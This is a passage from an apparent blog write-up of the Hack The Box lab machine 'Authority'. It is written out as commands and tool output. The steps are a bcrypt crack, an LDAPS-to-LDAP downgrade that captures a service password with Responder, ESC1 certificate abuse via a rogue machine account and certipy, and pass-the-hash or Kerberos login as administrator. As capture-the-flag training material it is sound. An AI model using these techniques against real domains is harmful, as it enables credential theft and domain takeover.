1jRizu+rJw4LNRb172A36dQWmiq/OJQBJrnPu87s+KmoNyCJGrT2+1QttMgM62qy2/Eb6xByQ8RiLl6v87vf24TuWhxJhXfNWMRuHXJp2IWt5BWAYdiQNUjCuvRhfiyxsIqelpEpsOnm8WDVEsN0hqaEt9Db2e/d3Wpx1as4luVtA/MZtKy+gsH0qZUmouj7LCfN5TJpm00MiBTxYSkapKvAGchkE4UVc3AHGIxeyy+t2LwqT9fDSlS/VofOELNcQD3OfPi+asOrgaqcRbZVXdQumoJsubLMiPpHTZtOH2Nt13cEh9ZG/XebrAkchsMjsyLo5KX0nL6RKbMNUA3BmM2cd+bjj+Jar2aeAeqBdW+LU5ALshAsF986N1BGSsQ8aZkJwLi3PUYG8vGR88ZqEMMziQ=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is a PWM encrypted password
&lt;code&gt;2G7ASAs2W4Y/XTfVMSsRtxxneQpeWaKaQaNsaIToSKlyqC1dVT2VXcqc1h3SiYtMTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t know how to decrypt the PWM&amp;rsquo;s blob with the master key, so I will go first with the bcrypt. I added it into a file and ran &lt;code&gt;hashcat -m 3200 pwm.bcrypt /usr/share/wordlists/rockyou.txt&lt;/code&gt;
When I started to decrypt it it showed me it will over a day (bcrypt is designed to be hard to crack). In turn, I will use a much smaller wordlists and look for other ways to pivot.&lt;/p&gt;
&lt;p&gt;There are ways to decrypt the encrypted blob but I don&amp;rsquo;t want to run unsure git tools and GPT&amp;rsquo;s recommendations are similarly uncertain.&lt;/p&gt;

&lt;h3 class="relative group"&gt;svc_ldap
 &lt;div id="svc_ldap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Looking for other options I just realized that configuration &amp;ldquo;Manager&amp;rdquo; and &amp;ldquo;Editor&amp;rdquo; are not the same thing. There is a lot of data and settings in the editor that seem like interesting vectors.&lt;/p&gt;
&lt;p&gt;In the configuration file I downloaded from the manager I tried to derive the password and found out that svc_ldap is the proxy username. I can see the same information in the editor however I can change it there. I can see, that LDAP is running in LDAPS. I wonder If i change it will i break the box or will I be able to pull some unencrypted data from the configuration.xml this time.&lt;/p&gt;
&lt;p&gt;I changed &lt;code&gt;ldaps://authority.authority.htb:636&lt;/code&gt; to &lt;code&gt;ldap://authority.authority.htb:389&lt;/code&gt;, saved the changes, went into the manager and collected the configuration file but it didn&amp;rsquo;t change it then.
As the editor allows us to change the LDAP URL as well as the protocol itself. I decided to try and spit up Responder with &lt;code&gt;sudo responder -I tun0&lt;/code&gt; and after I edited the details and saved the changes I clicked &amp;ldquo;Test LDAP Profile&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;This caused the website to authenticate to my server and because I changed it from LDAPS to LDAP password came in clear text.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-Responder" data-lang="Responder"&gt;[LDAP] Cleartext Client : 10.129.20.218
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then, I checked if I can authenticate to anything with the new credentials using netexec.&lt;br&gt;
&lt;code&gt;netexec smb 10.129.20.218 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'&lt;/code&gt;&lt;br&gt;
&lt;code&gt;netexec winrm 10.129.20.218 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'&lt;/code&gt;&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;Administrator
 &lt;div id="administrator" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;Seeing that I can access WinRM I used evil-winrm to do so.
&lt;code&gt;evil-winrm -i authority.htb -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I did some manual enumeration for possible priv-esc vectors but I wasn&amp;rsquo;t able to find anything of use.
I looked through the PWM files, SMB shares and user&amp;rsquo;s files. I downloaded PWM and its config locally, hoping to decrypt the blob with my master key, but couldn’t do it without setting up the full software.&lt;/p&gt;

&lt;h4 class="relative group"&gt;Certipy
 &lt;div id="certipy" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h4&gt;
&lt;p&gt;I thought of running WinPEAS, BloodHound and Certipy so I started with the latter.
&lt;code&gt;certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -vulnerable -target 10.129.20.218 -dc-ip 10.129.20.218 -stdout&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The output showed me that there is an ESC1 vulnerable template called CorpVPN.
ESC1 is the first of a number of escalation attacks to ADCS. This one simply enabled you to pretend to be someone else. You request a certificate and choose the identity inside of it like Admin. The CA trusts you and signs it, so you get a valid login as that user.
Requirements for it to work:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enrollee Supplies Subject = True&lt;/li&gt;
&lt;li&gt;Client Authentication = True (or a few others)&lt;/li&gt;
&lt;li&gt;&amp;ldquo;User Enrollable Principals&amp;rdquo; showing a group your user is a part of&lt;/li&gt;
&lt;li&gt;Requires Manager Approval = False&lt;/li&gt;
&lt;li&gt;Authorized Signatures Required = 0&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I tried to run it with the existing user like this &lt;code&gt;certipy req -u 'svc_ldap@authority.htb' -p 'lDaP_1n_th3_cle4r!' -dc-ip '10.129.20.218' -target 'AUTHORITY-CA' -ca 'authority.authority.htb' -template 'CorpVPN' -upn 'administrator@authority.htb' -sid 'S-1-5-21-622327497-3269355298-2248959698-500'&lt;/code&gt; but I just later noticed that the user is not a part of any group the template is assigned for.&lt;/p&gt;
&lt;p&gt;The only group that is not highly-privileged and can use this template is Domain Computers.
Often domain users are able to create a given number of computer hosts which is dictated by a quota parameter - you can quickly check it with netexec.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;parrot@parrot (~/Desktop): netexec ldap 10.129.20.218 -u &amp;#39;svc_ldap&amp;#39; -p &amp;#39;lDaP_1n_th3_cle4r!&amp;#39; -M maq
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LDAP 10.129.20.218 389 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never) 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LDAP 10.129.20.218 389 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MAQ 10.129.20.218 389 AUTHORITY [*] Getting the MachineAccountQuota
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;MAQ 10.129.20.218 389 AUTHORITY MachineAccountQuota: 10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Note: this method works only if you use ldap with netexec.&lt;/p&gt;

&lt;h4 class="relative group"&gt;addcomputer.py
 &lt;div id="addcomputerpy" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h4&gt;
&lt;p&gt;This shows us that svc_ldap can add 10 machines total - let&amp;rsquo;s add one with impacket.
&lt;code&gt;addcomputer.py authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -dc-ip 10.129.20.218 -computer-name azaeir$ -computer-pass azaeir&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s check if it was added correctly on the host with &lt;code&gt;Get-ADObject -Filter 'Name -eq &amp;quot;azaeir&amp;quot;' -Properties *&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Assuming, computer account is in Domain Computers group by default we can now run the edited certipy request.
Weirdly enough I had a lot of trouble getting the &lt;code&gt;.pfx&lt;/code&gt; file still. After a lot of troubleshooting it turns out that i had to specify &lt;code&gt;-method LDAPS&lt;/code&gt; in my addcomputer.py command for it to work like so:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;addcomputer.py authority.htb/svc_ldap:lDaP_1n_th3_cle4r! -method LDAPS -dc-ip 10.129.20.218 -computer-name azaeir1$ -computer-pass azaeir&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I assume this could be because normal computer account creation uses SAMR and when I specify LDAPs if provides proper attributes and trust behavior is set correctly for certipy - just a theory. Both methods added the account to the Domain Computers group.&lt;/p&gt;
&lt;p&gt;Anyway, now I could generate that administrator file.
&lt;code&gt;certipy req -username 'azaeir1$' -password azaeir -ca AUTHORITY-CA -dc-ip 10.129.20.218 -template CorpVPN -upn administrator@authority.htb -dns authority.htb -debug&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This command also works
&lt;code&gt;certipy req -u 'azaeir1$@authority.htb' -p 'azaeir' -dc-ip '10.129.20.218' -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb' -target authority.authority.htb -target-ip 10.129.20.218&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I adjusted my time using &lt;code&gt;sudo ntpdate authority.htb&lt;/code&gt; and ran &lt;code&gt;certipy auth -pfx administrator.pfx -dc-ip 10.129.20.218&lt;/code&gt; to get the TGT as well as NTLM hash.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TGT: administrator.ccache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NTLM: aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;As both Kerberos and NTLM are allowed on the host we have two ways to authenticate.
With NTLM we get the NT hash and run &lt;code&gt;evil-winrm -i authority.htb -u administrator -H 6961f422924da90a6928197429eea4ed&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With Kerberos:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Check if you don&amp;rsquo;t have any unexpected tickets assigned with &lt;code&gt;klist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Change the kerberos cache you&amp;rsquo;re using with &lt;code&gt;export KRB5CCNAME=administrator.ccache&lt;/code&gt; and double-check if it worked with &lt;code&gt;echo $KRB5CCNAME&lt;/code&gt; and &lt;code&gt;klist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;run one of impacket tools that suits the ports you have access &lt;code&gt;impacket-wmiexec -k -no-pass AUTHORITY.HTB/Administrator@authority.authority.htb&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Authority is an interesting take on Windows and Active Directory attacks, it demonstrates a mix of known techniques and a niche pathways that I was not familiar with. It took a seemingly trivial AD privilege escalation and introduced a number of fun challenges that made the box interesting at each part of completion.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/authority/featured.png"/></item></channel></rss>